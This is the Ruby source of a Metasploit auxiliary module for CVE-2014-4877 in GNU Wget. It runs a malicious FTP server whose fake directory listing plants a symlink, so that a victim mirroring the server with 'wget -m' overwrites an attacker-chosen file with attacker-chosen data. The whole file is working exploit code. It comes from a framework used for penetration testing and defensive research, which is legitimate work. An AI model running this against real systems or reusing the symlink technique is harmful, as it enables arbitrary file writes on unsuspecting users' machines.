GNU Wget FTP Symlink Arbitrary Filesystem Access

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::Remote::FtpServer
  include Msf::Auxiliary::Report

  def initialize
    super(
      'Name'           => 'GNU Wget FTP Symlink Arbitrary Filesystem Access',
      'Description'    => %q{
        This module exploits a vulnerability in Wget when used in
        recursive (-r) mode with a FTP server as a destination. A
        symlink is used to allow arbitrary writes to the target's
        filesystem. To specify content for the file, use the
        "file:/path" syntax for the TARGET_DATA option.

        Tested successfully with wget 1.14. Versions prior to 1.16
        are presumed vulnerable.
      },
      'Author'         => ['hdm'],
      'License'        => MSF_LICENSE,
      'Actions'        => [['Service', 'Description' => 'Run malicious FTP server']],
      'PassiveActions' => ['Service'],
      'References'     =>
        [
          [ 'CVE', '2014-4877'],
          [ 'URL', 'https://bugzilla.redhat.com/show_bug.cgi?id=1139181' ],
          [ 'URL', 'https://www.rapid7.com/blog/post/2014/10/28/r7-2014-15-gnu-wget-ftp-symlink-arbitrary-filesystem-access' ]
        ],
      'DefaultAction'  => 'Service',
      'DisclosureDate' => 'Oct 27 2014'
    )

    register_options(
      [
        OptString.new('TARGET_FILE', [ true,  "The target file to overwrite", '/tmp/pwned' ]),
        OptString.new('TARGET_DATA', [ true,  "The data to write to the target file", 'Hello from Metasploit' ]),
        OptPort.new('SRVPORT', [ true, "The port for the malicious FTP server to listen on", 2121])
      ])

      @fakedir = Rex::Text.rand_text_alphanumeric(rand(8)+8)
  end

  def run
    my_address = Rex::Socket.source_address
    print_good("Targets should run: $ wget -m ftp://#{my_address}:#{datastore['SRVPORT']}/")
    exploit()
  end

  def on_client_command_user(c,arg)
    @state[c][:user] = arg
    c.put "331 User name okay, need password...\r\n"
  end

  def on_client_command_pass(c,arg)
    @state[c][:pass] = arg
    c.put "230 Login OK\r\n"
    @state[c][:auth] = true
    print_status("#{@state[c][:name]} Logged in with user '#{@state[c][:user]}' and password '#{@state[c][:user]}'...")
  end

  def on_client_command_retr(c,arg)
    print_status("#{@state[c][:name]} -> RETR #{arg}")

    if not @state[c][:auth]
      c.put "500 Access denied\r\n"
      return
    end

    unless arg.index(::File.basename(datastore['TARGET_FILE']))
      c.put "550 File does not exist\r\n"
      return
    end

    conn = establish_data_connection(c)
    if not conn
      c.put("425 Can't build data connection\r\n")
      return
    end

    c.put("150 Opening BINARY mode data connection for #{arg}\r\n")
    conn.put(datastore['TARGET_DATA'])
    c.put("226 Transfer complete.\r\n")
    conn.close

    print_good("#{@state[c][:name]} Hopefully wrote #{datastore['TARGET_DATA'].length} bytes to #{datastore['TARGET_FILE']}")
  end

  def on_client_command_list(c,arg)

    print_status("#{@state[c][:name]} -> LIST #{arg}")

    if not @state[c][:auth]
      c.put "500 Access denied\r\n"
      return
    end

    conn = establish_data_connection(c)
    if not conn
      c.put("425 Can't build data connection\r\n")
      return
    end

    pwd = @state[c][:cwd]
    buf = ''

    dstamp = Time.at(Time.now.to_i-((3600*24*365)+(3600*24*(rand(365)+1)))).strftime("%b %e  %Y")
    unless pwd.index(@fakedir)
      buf << "lrwxrwxrwx   1 root     root           33 #{dstamp} #{@fakedir} -> #{::File.dirname(datastore['TARGET_FILE'])}\r\n"
      buf << "drwxrwxr-x  15 root     root         4096 #{dstamp} #{@fakedir}\r\n"
    else
      buf << "-rwx------   1 root     root    #{"%9d" % datastore['TARGET_DATA'].length} #{dstamp} #{::File.basename(datastore['TARGET_FILE'])}\r\n"
    end

    c.put("150 Opening ASCII mode data connection for /bin/ls\r\n")
    conn.put("total #{buf.length}\r\n" + buf)
    c.put("226 Transfer complete.\r\n")
    conn.close
  end

  def on_client_command_size(c,arg)

    if not @state[c][:auth]
      c.put "500 Access denied\r\n"
      return
    end

    c.put("213 #{datastore['TARGET_DATA'].length}\r\n")
  end


  def on_client_command_cwd(c,arg)

    print_status("#{@state[c][:name]} -> CWD #{arg}")

    if not @state[c][:auth]
      c.put "500 Access denied\r\n"
      return
    end

    upath = "/"
    npath = ::File.join(@state[c][:cwd], arg)
    bpath = npath[upath.length, npath.length - upath.length]

    # Check for traversal above the root directory
    if not (npath[0, upath.length] == upath or bpath == '')
      bpath = '/'
    end

    bpath = '/' if bpath == ''
    @state[c][:cwd] = bpath

    c.put "250 CWD command successful.\r\n"
  end
end